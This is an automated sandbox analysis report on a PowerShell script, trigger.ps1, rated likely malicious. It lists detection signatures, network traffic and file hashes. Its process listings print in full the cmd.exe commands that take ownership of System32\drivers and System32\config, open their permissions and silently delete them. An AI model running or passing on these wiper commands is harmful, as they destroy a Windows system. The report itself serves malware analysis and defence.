Analysis Overview
SHA256
c0979852c32530744818450613b30e9bb81ee684239d189034ed3cee80fb5ae6
Threat Level: Likely malicious
The file trigger.ps1 was found to be: Likely malicious.
Malicious Activity Summary
Possible privilege escalation attempt
Modifies file permissions
Command and Scripting Interpreter: PowerShell
Suspicious behavior: EnumeratesProcesses
Suspicious use of AdjustPrivilegeToken
Suspicious use of WriteProcessMemory
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-08-13 20:52
Signatures
Analysis: behavioral1
Detonation Overview
Submitted
2024-08-13 20:52
Reported
2024-08-13 20:52
Platform
win7-20240708-en
Max time kernel
2s
Max time network
1s
Command Line
Signatures
Possible privilege escalation attempt
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\takeown.exe | N/A |
| N/A | N/A | C:\Windows\system32\icacls.exe | N/A |
| N/A | N/A | C:\Windows\system32\takeown.exe | N/A |
| N/A | N/A | C:\Windows\system32\icacls.exe | N/A |
Modifies file permissions
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\takeown.exe | N/A |
| N/A | N/A | C:\Windows\system32\icacls.exe | N/A |
| N/A | N/A | C:\Windows\system32\takeown.exe | N/A |
| N/A | N/A | C:\Windows\system32\icacls.exe | N/A |
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeTakeOwnershipPrivilege | N/A | C:\Windows\system32\takeown.exe | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\trigger.ps1
C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /k "takeown /f C:\Windows\System32\drivers\* >nul && icacls C:\Windows\System32\drivers\* /grant everyone:(f) >nul && del /s /q C:\Windows\System32\drivers\* >nul 2>&1 && exit"
C:\Windows\system32\takeown.exe
takeown /f C:\Windows\System32\drivers\*
C:\Windows\system32\icacls.exe
icacls C:\Windows\System32\drivers\* /grant everyone:(f)
C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /k "takeown /f C:\Windows\System32\config\* >nul && icacls C:\Windows\System32\config\* /grant everyone:(f) >nul && del /s /q C:\Windows\System32\config\* >nul 2>&1 && exit"
C:\Windows\system32\takeown.exe
takeown /f C:\Windows\System32\config\*
C:\Windows\system32\icacls.exe
icacls C:\Windows\System32\config\* /grant everyone:(f)
Network
Files
memory/2700-4-0x000007FEF66DE000-0x000007FEF66DF000-memory.dmp
memory/2700-5-0x000000001B550000-0x000000001B832000-memory.dmp
memory/2700-6-0x00000000022C0000-0x00000000022C8000-memory.dmp
memory/2700-7-0x000007FEF6420000-0x000007FEF6DBD000-memory.dmp
memory/2700-8-0x000007FEF6420000-0x000007FEF6DBD000-memory.dmp
memory/2700-9-0x000007FEF6420000-0x000007FEF6DBD000-memory.dmp
memory/2700-10-0x000007FEF6420000-0x000007FEF6DBD000-memory.dmp
memory/2700-11-0x000007FEF6420000-0x000007FEF6DBD000-memory.dmp
memory/2700-12-0x000007FEF6420000-0x000007FEF6DBD000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2024-08-13 20:52
Reported
2024-08-13 20:55
Platform
win10v2004-20240802-en
Max time kernel
141s
Max time network
147s
Command Line
Signatures
Possible privilege escalation attempt
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\takeown.exe | N/A |
| N/A | N/A | C:\Windows\system32\icacls.exe | N/A |
| N/A | N/A | C:\Windows\system32\takeown.exe | N/A |
| N/A | N/A | C:\Windows\system32\icacls.exe | N/A |
Modifies file permissions
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\takeown.exe | N/A |
| N/A | N/A | C:\Windows\system32\icacls.exe | N/A |
| N/A | N/A | C:\Windows\system32\takeown.exe | N/A |
| N/A | N/A | C:\Windows\system32\icacls.exe | N/A |
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeTakeOwnershipPrivilege | N/A | C:\Windows\system32\takeown.exe | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\trigger.ps1
C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /k "takeown /f C:\Windows\System32\drivers\* >nul && icacls C:\Windows\System32\drivers\* /grant everyone:(f) >nul && del /s /q C:\Windows\System32\drivers\* >nul 2>&1 && exit"
C:\Windows\system32\takeown.exe
takeown /f C:\Windows\System32\drivers\*
C:\Windows\system32\icacls.exe
icacls C:\Windows\System32\drivers\* /grant everyone:(f)
C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /k "takeown /f C:\Windows\System32\config\* >nul && icacls C:\Windows\System32\config\* /grant everyone:(f) >nul && del /s /q C:\Windows\System32\config\* >nul 2>&1 && exit"
C:\Windows\system32\takeown.exe
takeown /f C:\Windows\System32\config\*
C:\Windows\system32\icacls.exe
icacls C:\Windows\System32\config\* /grant everyone:(f)
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 8.8.8.8.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 13.86.106.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 73.144.22.2.in-addr.arpa | udp |
| US | 8.8.8.8:53 | tse1.mm.bing.net | udp |
| US | 150.171.28.10:443 | tse1.mm.bing.net | tcp |
| US | 8.8.8.8:53 | g.bing.com | udp |
| US | 13.107.21.237:443 | g.bing.com | tcp |
| US | 8.8.8.8:53 | 23.159.190.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 237.21.107.13.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 209.205.72.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 217.106.137.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 157.123.68.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 206.23.85.13.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 192.142.123.92.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 88.210.23.2.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 55.36.223.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 14.227.111.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 240.221.184.93.in-addr.arpa | udp |
| US | 8.8.8.8:53 | tse1.mm.bing.net | udp |
| US | 150.171.28.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.28.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.28.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.28.10:443 | tse1.mm.bing.net | tcp |
| US | 8.8.8.8:53 | 26.35.223.20.in-addr.arpa | udp |
Files
memory/2240-0-0x00007FFB05A93000-0x00007FFB05A95000-memory.dmp
memory/2240-6-0x000001CAB6AC0000-0x000001CAB6AE2000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_yy2y3okn.vck.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/2240-11-0x00007FFB05A90000-0x00007FFB06551000-memory.dmp
memory/2240-12-0x00007FFB05A90000-0x00007FFB06551000-memory.dmp
memory/2240-15-0x00007FFB05A90000-0x00007FFB06551000-memory.dmp